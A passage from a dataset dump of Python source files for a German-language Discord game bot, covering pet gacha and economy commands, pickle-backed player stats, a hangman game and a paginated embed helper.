await ctx.channel.send(embed=embed, delete_after=7)\n return\n\n withdraw_money(ctx.author, cost)\n\n pet_names = [\"Unicorn\",\"Lion\",\"Shark\",\"Icebear\",\"Parrot\",\"Horse\",\"Schildkröte\",\"Affe\"]\n\n pet_data = {\"Unicorn\": {\"xpm\": 1.8, \"mym\": 1.8, \"rarity\": \"Legendär\"},\n \"Lion\": {\"xpm\": 1.8, \"mym\": 1.7, \"rarity\": \"Legendär\"},\n \"Shark\": {\"xpm\": 1.6, \"mym\": 1.6, \"rarity\": \"Episch\"},\n \"Icebear\": {\"xpm\": 1.6, \"mym\": 1.5, \"rarity\": \"Episch\"},\n \"Parrot\": {\"xpm\": 1.4, \"mym\": 1.4, \"rarity\": \"Selten\"},\n \"Horse\": {\"xpm\": 1.3, \"mym\": 1.4, \"rarity\": \"Selten\"},\n \"Schildkröte\": {\"xpm\": 1.1, \"mym\": 1.1, \"rarity\": \"Gewöhnlich\"},\n \"Affe\": {\"xpm\": 1.1, \"mym\": 1.05, \"rarity\": \"Gewöhnlich\"}}\n\n rand_list = random.choices(pet_names, weights = [1,1,3,5,7,10,40,60], k = 150)\n\n random.shuffle(rand_list)\n\n winning = rand_list[0]\n\n winning_data = pet_data[winning]\n\n add_pet(ctx.author, winning, winning_data[\"xpm\"], winning_data[\"mym\"], winning_data[\"rarity\"])\n\n rarity_color = {\"Gewöhnlich\": 0x999999, \"Selten\": 0x00FF00, \"Episch\": 0x8800FF, \"Legendär\": 0xE2B007}\n\n embed = discord.Embed(title=\"Du hast \" + winning + \" gewonnen!\",\n description=\"Daten:\",\n color=rarity_color.get(winning_data[\"rarity\"], 0x999999))\n embed.set_author(name=\"Haustier\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.add_field(name=\"Rarität\",\n value=winning_data[\"rarity\"],\n inline=False)\n embed.add_field(name=\"Xp Multiplikator:\",\n value=str(winning_data[\"xpm\"]),\n inline=False)\n embed.add_field(name=\"Money Multiplikator:\",\n value=str(winning_data[\"mym\"]),\n inline=False)\n await ctx.channel.send(embed=embed, delete_after=30)\n\n # Der Chef darf Channels purgen:\n @commands.command()\n async def equip(self, ctx: commands.Context, *args):\n try:\n await ctx.message.delete()\n except discord.Forbidden:\n pass\n\n\n if ctx.channel.id == 772214299997110292:\n if not len(args) == 1:\n embed = discord.Embed(title=\"Falsche Benutzung!\",\n description=\"!equip [name] !\",\n color=0xFF8800)\n embed.set_author(name=\"Haustier\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n return\n\n embed = discord.Embed(title=\"Antwort: ( \" + ctx.author.name + \" )\",\n description=equip_pet(ctx.author, args[0]),\n color=0xFF8800)\n embed.set_author(name=\"Haustier\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n\n # Der Chef darf Channels purgen:\n @commands.command()\n async def unequip(self, ctx: commands.Context, *args):\n try:\n await ctx.message.delete()\n except discord.Forbidden:\n pass\n\n if ctx.channel.id == 772214299997110292:\n if not len(args) == 1:\n embed = discord.Embed(title=\"Falsche Benutzung!\",\n description=\"!uneqip[name] !\",\n color=0xFF8800)\n embed.set_author(name=\"Haustier\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n return\n\n embed = discord.Embed(title=\"Antwort: ( \" + ctx.author.name + \" )\",\n description=unequip_pet(ctx.author, args[0]),\n color=0xFF8800)\n embed.set_author(name=\"Haustier\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n\n\n # Der Chef darf Channels purgen:\n @commands.command()\n async def clear_pets(self, ctx: commands.Context, *, member: discord.Member = None):\n try:\n await ctx.message.delete()\n except discord.Forbidden:\n pass\n role = discord.utils.get(ctx.guild.roles, id=744630374855868456)\n if role in ctx.author.roles:\n clear_all_pets()\n\n # Der Chef darf Channels purgen:\n @commands.command()\n async def clear_stats(self, ctx: commands.Context, *, member: discord.Member = None):\n try:\n await ctx.message.delete()\n except discord.Forbidden:\n pass\n role = discord.utils.get(ctx.guild.roles, id=744630374855868456)\n if role in ctx.author.roles:\n clear_stats()\n\n @commands.command()\n async def money(self, ctx: commands.Context, *args):\n try:\n await ctx.message.delete()\n except discord.Forbidden:\n pass\n role = discord.utils.get(ctx.guild.roles, id=744630374855868456)\n if role in ctx.author.roles:\n if len(args) == 3:\n member = ctx.guild.get_member_named(args[1])\n if not member == None:\n if(args[0] == \"add\"):\n try:\n deposit_money(member, int(args[2]))\n except ValueError:\n embed = discord.Embed(title=\"Du musst eine Zahl angeben!\",\n description=\"!money add [name] [zahl]\",\n color=0xFF0000)\n embed.set_author(name=\"Money\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n return\n if(args[0] == \"remove\"):\n try:\n withdraw_money(member, int(args[2]))\n except ValueError:\n embed = discord.Embed(title=\"Du musst eine Zahl angeben!\",\n description=\"!money withdraw [name] [zahl]\",\n color=0xFF0000)\n embed.set_author(name=\"Money\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n return\n if(args[0] == \"set\"):\n try:\n set_money(member, int(args[2]))\n except ValueError:\n embed = discord.Embed(title=\"Du musst eine Zahl angeben!\",\n description=\"!money set [name] [zahl]\",\n color=0xFF0000)\n embed.set_author(name=\"Money\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n return\n else:\n embed = discord.Embed(title=\"Spieler nicht gefunden!\",\n description=\"!money [command] [name] [zahl]\",\n color=0xFF0000)\n embed.set_author(name=\"Money\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n return\n\n\n @commands.command()\n async def xp(self, ctx: commands.Context, *args):\n try:\n await ctx.message.delete()\n except discord.Forbidden:\n pass\n role = discord.utils.get(ctx.guild.roles, id=744630374855868456)\n if role in ctx.author.roles:\n if len(args) == 3:\n member = ctx.guild.get_member_named(args[1])\n if not member == None:\n if(args[0] == \"add\"):\n try:\n add_xp(member, int(args[2]))\n except ValueError:\n embed = discord.Embed(title=\"Du musst eine Zahl angeben!\",\n description=\"!xp add [name] [zahl]\",\n color=0xFF0000)\n embed.set_author(name=\"Xp\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n return\n if(args[0] == \"set\"):\n try:\n add_xp(member, int(args[2]))\n except ValueError:\n embed = discord.Embed(title=\"Du musst eine Zahl angeben!\",\n description=\"!xp set [name] [zahl]\",\n color=0xFF0000)\n embed.set_author(name=\"Xp\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n return\n if(args[0] == \"remove\"):\n if not get_xp(ctx.author) >= float(args[2]):\n embed = discord.Embed(title=\"Das ergebnis würde ins Minus gehen!\",\n description=\"Bitte wähle eine kleinere Zahl\",\n color=0xFF0000)\n embed.set_author(name=\"Xp\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n return\n try:\n remove_xp(member, float(args[2]))\n except ValueError:\n embed = discord.Embed(title=\"Du musst eine Zahl angeben!\",\n description=\"!xp remove [name] [zahl]\",\n color=0xFF0000)\n embed.set_author(name=\"Xp\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n return\n else:\n embed = discord.Embed(title=\"Spieler nicht gefunden!\",\n description=\"!xp [command] [name] [zahl]\",\n color=0xFF0000)\n embed.set_author(name=\"Money\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n return\n\n\n\n\n\n\n"
},
{
"alpha_fraction": 0.5977534651756287,
"alphanum_fraction": 0.6152424216270447,
"avg_line_length": 27.68163299560547,
"blob_id": "197764f110c8b4b91314c25c39c7ef8d493488f5",
"content_id": "e71a89b75ede67eecbd1b59a133a84a190f1bd04",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7034,
"license_type": "no_license",
"max_line_length": 108,
"num_lines": 245,
"path": "/src/GameAPI/user_extension.py",
"repo_name": "PlaceblockHD/pd_gameworld",
"src_encoding": "UTF-8",
"text": "import math\nimport traceback\n\nimport asyncio\n\nimport discord\n\nimport pickle\nfrom collections import defaultdict\n\nimport time\n\n#########################\nfrom GameAPI.Pet import Pet\n\nfile_path = \"../resources/player_data.pickle\"\n\nprint(\"loaded\")\n\n\ntry:\n with open(file_path,\"rb\") as fp:\n data = pickle.load(fp)\nexcept FileNotFoundError:\n data = defaultdict( dict )\n\ndef update_data():\n with open(file_path, \"wb\") as fp:\n pickle.dump(data, fp)\n\n\n############## BOOSTER\ndef set_booster(booster, multiplikator, duration):\n data[\"booster\"][booster.lower()] = {\"multiply\": multiplikator, \"time\": duration, \"created\": time.time()}\n update_data()\n\ndef get_booster_multiply(boostername):\n booster = data[\"booster\"].get(boostername.lower(), None)\n if booster:\n if time.time() - booster[\"created\"] > booster[\"time\"]*60:\n data[\"booster\"].pop(boostername.lower())\n return 1\n else:\n return booster[\"multiply\"]\n return 1\n\ndef remove_boosters():\n data[\"booster\"] = {}\n update_data()\n################################ XP\n\ndef get_xp(member):\n return data[ str(member.id) ].setdefault(\"xp\", 0)\n\ndef set_xp(member, xp):\n data[ str(member.id) ][\"xp\"] = xp\n update_data()\n \ndef add_xp(member, xp):\n multiplyxp = 0\n for pet in get_pets( member ):\n if pet.equipped == True:\n multiplyxp += xp*pet.xp_multiply - xp\n set_xp(member, get_xp(member) + ((xp + multiplyxp) * get_booster_multiply(\"xp\")))\n asyncio.create_task( update_player_nick(member) )\ndef remove_xp(member, xp):\n set_xp( member, get_xp(member) - xp)\n asyncio.create_task( update_player_nick(member) )\n update_data()\n\n\ndef get_level(member):\n return int(round(math.sqrt(get_xp(member)/5 + 2.25) - 1,5))\n\ndef get_player_role(member):\n rank = \"Neuling\"\n roles = {0: \"Neuling\", 10: \"Spielender\", 20: \"Erfahrener\", 40: \"Ältester\"}\n member_level = get_level(member)\n for key in roles:\n if member_level >= key:\n rank = roles[key]\n return rank\n\nasync def update_player_role(member: discord.Member):\n roles = {0: 772413848598085662, 10: 772413846987603988, 20: 772414007691837440, 50: 772414093067419648}\n member_level = get_level(member)\n for key in roles:\n if member_level >= key:\n await member.add_roles(discord.utils.get(member.guild.roles, id=roles[key]) )\n\nasync def update_player_nick(member: discord.Member):\n try:\n await member.edit(nick=member.name + \" [Lvl: \" + str(get_level(member)) + \"]\")\n except discord.Forbidden:\n pass\n\n################# STATS\n\ndef get_stats(member):\n return data[ str(member.id) ].setdefault(\"stats\", {})\n \ndef add_to_stats(member, game_name, wins=0, played=0, even=0):\n stats = get_stats(member).setdefault(game_name, [0,0,0])\n stats[0] += wins\n stats[1] += played\n stats[2] += even\n update_data()\n\ndef clear_stats():\n for memberid in data:\n data[memberid][\"stats\"] = {}\n update_data()\n\n############################### Economy\n\ndef get_money(member):\n return data[ str(member.id) ].setdefault(\"money\", 0)\n\ndef set_money(member, amount):\n data[ str(member.id) ][\"money\"] = amount\n update_data()\n \ndef deposit_money(member, amount):\n multiplymoney = 0\n for pet in get_pets( member ):\n if pet.equipped == True:\n multiplymoney += amount*pet.xp_multiply - amount\n set_money( member, get_money( member ) + ((amount + multiplymoney) * get_booster_multiply(\"money\")) )\n asyncio.create_task( update_player_nick(member) )\n\ndef withdraw_money(member, amount):\n if get_money(member) >= amount:\n set_money(member, get_money(member) - amount)\n update_data()\n else:\n return False\n\ndef has_money(member, amount):\n return get_money(member) >= amount\n\n############################ PETS\n\ndef get_pets(member):\n return data[ str(member.id) ].setdefault(\"pets\", []) \n\ndef get_cost(member, cost):\n extra_money = 0\n #Haustier multiplikator einberechnen\n for pet in get_pets(member):\n extra_money += cost * pet.money_multiply - cost\n #Spitzhackenlevel von MoneyMiner einberechnen\n extra_money += get_pickaxe_level(member) * 8\n #4/5 dazuberechnen damit man durch haustiere trotzdem noch vorteile hat\n cost += extra_money * (4/5)\n #Runden\n return int(round(cost))\n\ndef add_pet(member, name, xp_m, money_m, rarity):\n get_pets(member).append( Pet(name, xp_m, money_m, rarity) )\n update_data()\n\ndef clear_all_pets():\n for memberid in data:\n data[memberid][\"pets\"] = []\n update_data()\n\ndef search_pet( member, name ):\n for pet in get_pets(member):\n if pet.name.upper() == name.upper():\n return pet\n \ndef remove_pet(member, name):\n pet = search_pet( member, name )\n if pet:\n get_pets(member).remove( pet )\n \ndef equip_pet(member, name):\n if not search_pet(member, name):\n return \"Du hast dieses Pet nicht!\"\n\n equipped_pets_amount = 0\n for pet in get_pets(member):\n if pet.equipped == True:\n equipped_pets_amount += 1\n if equipped_pets_amount == 5:\n return \"Du hast die Maximale Anzahl an Pets erreicht! Unequippe erst ein Pet!\"\n for pet in get_pets(member):\n if pet.name.upper() == name.upper() and pet.equipped == False:\n pet.equipped = True\n update_data()\n return \"Du hast \" + name + \" Equipped\"\n\ndef unequip_pet(member, name):\n if not search_pet(member, name):\n return \"Du hast dieses Pet nicht!\"\n if is_pet_equipped(member, name):\n for pet in get_pets(member):\n if pet.name.upper() == name.upper() and pet.equipped == True:\n pet.equipped = False\n update_data()\n return \"Du hast \" + name + \" Unequipped\"\n else:\n return \"Du hast dieses Pet nicht equipped!\"\n\ndef is_pet_equipped(member, name):\n for pet in get_pets(member):\n if pet.name.upper() == name.upper() and pet.equipped == True:\n return True\n return False\n\ndef get_pet_amount(member):\n return len(get_pets(member))\n\n\n\n###################### MoneyMiner\n\ndef get_moneyminer(member):\n return data[str(member.id)].setdefault(\"moneyminer\", {\"pa_level\": 0, \"bp_level\": 1, \"bp_fill\": 0})\n\ndef levelup_backpack(member, level):\n get_moneyminer(member)[\"bp_level\"] += level\n update_data()\n return get_moneyminer(member)[\"bp_level\"]\n\ndef levelup_pickaxe(member, level):\n get_moneyminer(member)[\"pa_level\"] += level\n update_data()\n return get_moneyminer(member)[\"pa_level\"]\n\ndef backpack_set_money(member, money):\n get_moneyminer(member)[\"bp_fill\"] = money\n update_data()\n\ndef get_backpack_money(member):\n return get_moneyminer(member)[\"bp_fill\"]\n\ndef get_max_backpack(member):\n return 30 * get_moneyminer(member)[\"bp_level\"]\n\ndef get_backpack_level(member):\n return get_moneyminer(member)[\"bp_level\"]\n\ndef get_pickaxe_level(member):\n return get_moneyminer(member)[\"pa_level\"]\n\n\n\n\n\n\n"
},
{
"alpha_fraction": 0.5499876141548157,
"alphanum_fraction": 0.6201601624488831,
"avg_line_length": 53.56756591796875,
"blob_id": "a414b0b5e3315171eb152ae70595ab529256bc22",
"content_id": "859ecf7b1c0e15982b51d1ad6d3ab31506072b8e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 12137,
"license_type": "no_license",
"max_line_length": 241,
"num_lines": 222,
"path": "/src/hangman/GameLogic.py",
"repo_name": "PlaceblockHD/pd_gameworld",
"src_encoding": "UTF-8",
"text": "import asyncio\nimport io\nimport random\n\nimport discord\nfrom PIL import Image, ImageDraw, ImageFont\nfrom discord.ext import commands\n\nfrom parse import parse\n\nfrom GameAPI.user_extension import add_to_stats, add_xp, deposit_money\n\nchannel_prefix = \"🪓galgenmännchen-\"\n\n\nclass GameControl():\n def __init__(self, queue):\n self.queue = queue\n self.queue.on_queue_change = self.check_for_game_start\n self.task: asyncio.Task = None\n\n async def timer(self, time):\n await asyncio.sleep(time)\n elements = []\n for i in range(self.queue.len()):\n elements.append(self.queue.pop())\n Game(elements, self.queue)\n\n def check_for_game_start(self):\n if self.queue.len() == 2:\n if self.task:\n self.task.cancel()\n self.task = asyncio.create_task(self.timer(5))\n if self.queue.len() == 8:\n if self.task:\n self.task.cancel()\n self.task = asyncio.create_task(self.timer(0))\n if self.queue.len() < 2:\n if self.task:\n self.task.cancel()\n\nclass Game(commands.Cog):\n def __init__(self, contexts, queue):\n self.correct_word = None\n self.queue = queue\n self.players = [ctx.author for ctx in contexts]\n self.not_guessing_player = None\n self.joinchannel = contexts[0].channel\n self.gamechannel = None\n self.guessed_letters = []\n self.gamestate = 0\n self.bot: commands.Bot = contexts[0].bot\n self.guild = contexts[0].guild\n self.message: discord.Message = None\n self.loose_level = 0\n self.turn_lock = asyncio.Lock()\n self.running = True\n self.turnevent = asyncio.Event()\n self.bot.loop.create_task(self.gametask())\n\n async def gametask(self):\n # Suche ersten freien Channelslot\n cparse = lambda channel: parse( channel_prefix+\"{:d}\", channel.name ) # Parsefunktion für die Channelnames\n snums = sorted( [ cparse(c)[0] for c in self.bot.get_all_channels() if cparse(c) ] ) # extract\n next_channel = next( (x[0] for x in enumerate(snums) if x[0]+1 != x[1]), len(snums) ) + 1 #search gap\n # Spielchannel erzeugen:\n self.gamechannel = await self.guild.create_text_channel(name=channel_prefix + str(next_channel),category=self.bot.get_channel(743386428624601200))\n\n # Nachricht im Joinchannel:\n embed = discord.Embed(title=\"Game startet!\",description=\"Es wird gespielt in: **\" + self.gamechannel.name + \"** !\",color=0x2dff32)\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_author(name=\"Galgenmännchen\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_footer(text=\"Viel Spaß!\")\n await self.joinchannel.send(embed=embed, delete_after=10)\n\n self.not_guessing_player = random.choice(self.players)\n self.players.remove(self.not_guessing_player)\n\n embed = discord.Embed(title=\"Warum sehe ich nichts?\",description=self.not_guessing_player.display_name + \" hat eine Private nachricht bekommen. Dort muss er/sie/es das Wort eingeben welches die anderen erraten müssen\",color=0x58ff46)\n embed.set_author(name=\"Galgenmännchen\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.gamechannel.send(embed=embed, delete_after=60)\n\n embed = discord.Embed(title=\"Jetzt,\", description=\"musst du das Wort zurückschreiben welches die anderen in \" + self.gamechannel.name + \" erraten sollen!\",color=0x58ff46)\n embed.set_author(name=\"Galgenmännchen\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.not_guessing_player.send(embed=embed, delete_after=60)\n\n self.bot.add_cog(self)\n\n while self.running:\n try:\n await asyncio.wait_for( self.turnevent.wait(), timeout=300 )\n except asyncio.TimeoutError:\n embed = discord.Embed(title=\"Game gestoppt:\", description=\"(Timeout)\", color=0x58ff46)\n embed.set_author(name=\"Galgenmännchen\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.gamechannel.send(embed=embed)\n break;\n\n for player in self.players:\n add_to_stats(player, \"HangMan\", 0, 1, 0)\n add_xp(player, 5)\n self.queue.release_player(player.id)\n add_xp(self.not_guessing_player, 5)\n add_to_stats(self.not_guessing_player,\"HangMan\", 0,1)\n self.queue.release_player(self.not_guessing_player.id)\n self.bot.remove_cog(self)\n await asyncio.sleep(10)\n await self.gamechannel.delete()\n\n @commands.Cog.listener()\n async def on_message(self, message: discord.Message):\n if message.channel.id == self.gamechannel.id and message.author.id is not self.bot.user.id:\n await message.delete()\n\n if self.gamestate == 0:\n if message.channel.type == discord.ChannelType.private and message.author.id == self.not_guessing_player.id:\n if message.content.isalpha():\n if len(message.content) <= 15:\n self.correct_word = message.content.upper()\n self.gamestate = 1\n await self.gamechannel.purge()\n embed = discord.Embed(title=\"Done!\", description=\"Du kannst nun zu \" + self.gamechannel.name + \" zurückkehren!\",color=0x58ff46)\n embed.set_author(name=\"Galgenmännchen\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.not_guessing_player.send(embed=embed, delete_after=10)\n await self.send_gamefield()\n self.gamestate = 1\n else:\n embed = discord.Embed(title=\"Achtung\", description=\" Weniger als 15 Buchstaben!\", color=0xff4646)\n embed.set_author(name=\"Galgenmännchen\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.not_guessing_player.send(embed=embed, delete_after=10)\n else:\n embed = discord.Embed(title=\"Achtung\", description=\"Dein Word darf nur Buchstaben enthalten!\",color=0xff4646)\n embed.set_author(name=\"Galgenmännchen\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.not_guessing_player.send(embed=embed, delete_after=10)\n self.turnevent.set()\n return\n elif self.gamestate == 1:\n if message.channel.id == self.gamechannel.id and message.author.id is not self.not_guessing_player.id and message.author in self.players:\n if message.content.upper() == self.correct_word:\n embed = discord.Embed(title=\":tada: \" + message.author.display_name + \" hat das Wort erraten! :tada:\",description=\"Danke fürs Spielen!\", color=0x58ff46)\n embed.set_author(name=\"Galgenmännchen\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.add_field(name=\"Das Wort war:\", value=self.correct_word, inline=False)\n await self.gamechannel.send(embed=embed)\n add_xp(message.author, 30)\n add_to_stats(message.author, \"HangMan\", 1, 0, 0)\n deposit_money(message.author, 20)\n self.running = False\n elif self.is_valid_guess(message.content.upper()):\n self.guess(message.content.upper())\n await self.send_gamefield()\n if self.loose_level == 10:\n embed = discord.Embed(title=\"Du hast verloren:\", description=\"Hangman wurde erhängt!\", color=0x58ff46)\n embed.set_author(name=\"Galgenmännchen\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.add_field(name=\"Das Wort war:\", value=self.correct_word, inline=False)\n await self.gamechannel.send(embed=embed)\n add_xp(self.not_guessing_player, 30)\n add_to_stats(self.not_guessing_player, \"HangMan\", 1, 0, 0)\n deposit_money(self.not_guessing_player, 20)\n self.running = False\n self.turnevent.set()\n return\n\n def guess(self, letter):\n self.guessed_letters.append(letter)\n if letter not in self.correct_word:\n self.loose_level += 1\n\n def is_valid_guess(self, string):\n if not self.has_already_guessed(string):\n valid_guesses = [\"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"L\", \"M\", \"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"U\", \"V\", \"W\", \"X\", \"Y\", \"Z\", \"Ö\", \"Ü\", \"Ä\"]\n if string in valid_guesses:\n return True\n else:\n return False\n\n def has_already_guessed(self, letter):\n if letter in self.guessed_letters:\n return True\n else:\n return False\n\n def check_finsihed(self):\n for char in self.correct_word:\n if self.has_already_guessed(char) == False:\n return False\n return True\n\n async def send_gamefield(self):\n # ggf. altes Spielfeld löschen:\n if self.message:\n await self.message.delete()\n self.message = await self.gamechannel.send(file=await self.build_board())\n\n\n async def build_board(self):\n field_img: Image.Image = Image.open(\"../resources/hangman/message.png\")\n draw = ImageDraw.Draw(field_img)\n lfont = ImageFont.truetype('../resurces/hangman/arial.ttf', 30)\n arr = io.BytesIO()\n draw.text((9, 51), self.get_print_string(), (0, 0, 0), font=lfont)\n draw.text((9, 170), str(self.loose_level * 10) + \"/100%\", (0, 0, 0), font=lfont)\n field_img.save(arr, format=\"png\")\n arr.seek(0)\n file = discord.File(arr)\n file.filename = \"field.png\"\n return file\n\n def get_print_string(self):\n print_string = \"\"\n for char in self.correct_word:\n if self.has_already_guessed(char.upper()):\n print_string += \"[\"+char+\"]\"\n else:\n print_string += \"[?]\"\n return print_string"
},
{
"alpha_fraction": 0.5174400806427002,
"alphanum_fraction": 0.5720351934432983,
"avg_line_length": 44.17808151245117,
"blob_id": "fe29acf1c265784dc70d68304e9040c8b48aed41",
"content_id": "16413edb830142be30290494556732a41aaf47ee",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3313,
"license_type": "no_license",
"max_line_length": 158,
"num_lines": 73,
"path": "/src/GameAPI/Book.py",
"repo_name": "PlaceblockHD/pd_gameworld",
"src_encoding": "UTF-8",
"text": "import asyncio\nfrom threading import Timer\n\nimport discord\nfrom discord.ext import commands\n\n\nclass Book(commands.Cog):\n def __init__(self, title, pages, bot, channelid):\n self.title = title\n self.page_content = pages\n self.akt_page = 0\n self.book_message: discord.Message = None\n self.bot: commands.Bot = bot\n self.channelid = channelid\n self.bot.add_cog(self)\n self.task: asyncio.Task = asyncio.create_task(\n self.delete_book(120))\n\n async def delete_book(self, sleeptime):\n await asyncio.sleep(sleeptime)\n await self.book_message.delete()\n self.bot.remove_cog(self)\n\n async def send_message(self):\n if self.book_message is not None:\n embed = discord.Embed(title=\"Beschreibung:\", description=self.page_content[self.akt_page],\n color=0x49ff35)\n embed.set_author(name=self.title,\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(\n url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.add_field(name=\"--------\",\n value=\"[\" + str(self.akt_page + 1) + \"/\" + str(len(self.page_content)) + \"]\",\n inline=True)\n try:\n await self.book_message.edit(embed=embed)\n except:\n pass\n else:\n embed = discord.Embed(title=\"Beschreibung:\", description=self.page_content[self.akt_page], color=0x49ff35)\n embed.set_author(name=self.title,icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.add_field(name=\"--------\",\n value=\"[\" + str(self.akt_page + 1) +\"/\" + str(len(self.page_content)) +\"]\",\n inline=True)\n message: discord.Message = await self.bot.get_channel(self.channelid).send(embed=embed)\n await message.add_reaction(\"◀️\")\n await message.add_reaction(\"▶️\")\n self.book_message = message\n\n\n @commands.Cog.listener()\n async def on_reaction_add(self, payload: discord.Reaction, user):\n if self.book_message is None:\n return\n if user == self.bot.user:\n return\n if payload.message.id == self.book_message.id:\n await payload.message.remove_reaction(payload.emoji, user)\n self.task.cancel()\n self.task: asyncio.Task = asyncio.create_task(\n self.delete_book(120))\n if payload.emoji == \"◀️\":\n self.akt_page -= 1\n if self.akt_page == -1:\n self.akt_page = len(self.page_content)-1\n await self.send_message()\n elif payload.emoji == \"▶️\":\n self.akt_page += 1\n if self.akt_page == len(self.page_content):\n self.akt_page = 0\n await self.send_message()"
},
{
"alpha_fraction": 0.5481528043746948,
"alphanum_fraction": 0.6433312296867371,
"avg_line_length": 76.53398132324219,
"blob_id": "4057792013aeb7826035ab9a9928be1463fb43f0",
"content_id": "7a299bc80c433abc8441f1ecdc69f652b00286d2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 8031,
"license_type": "no_license",
"max_line_length": 209,
"num_lines": 103,
"path": "/src/bugreport/BugReport.py",
"repo_name": "PlaceblockHD/pd_gameworld",
"src_encoding": "UTF-8",
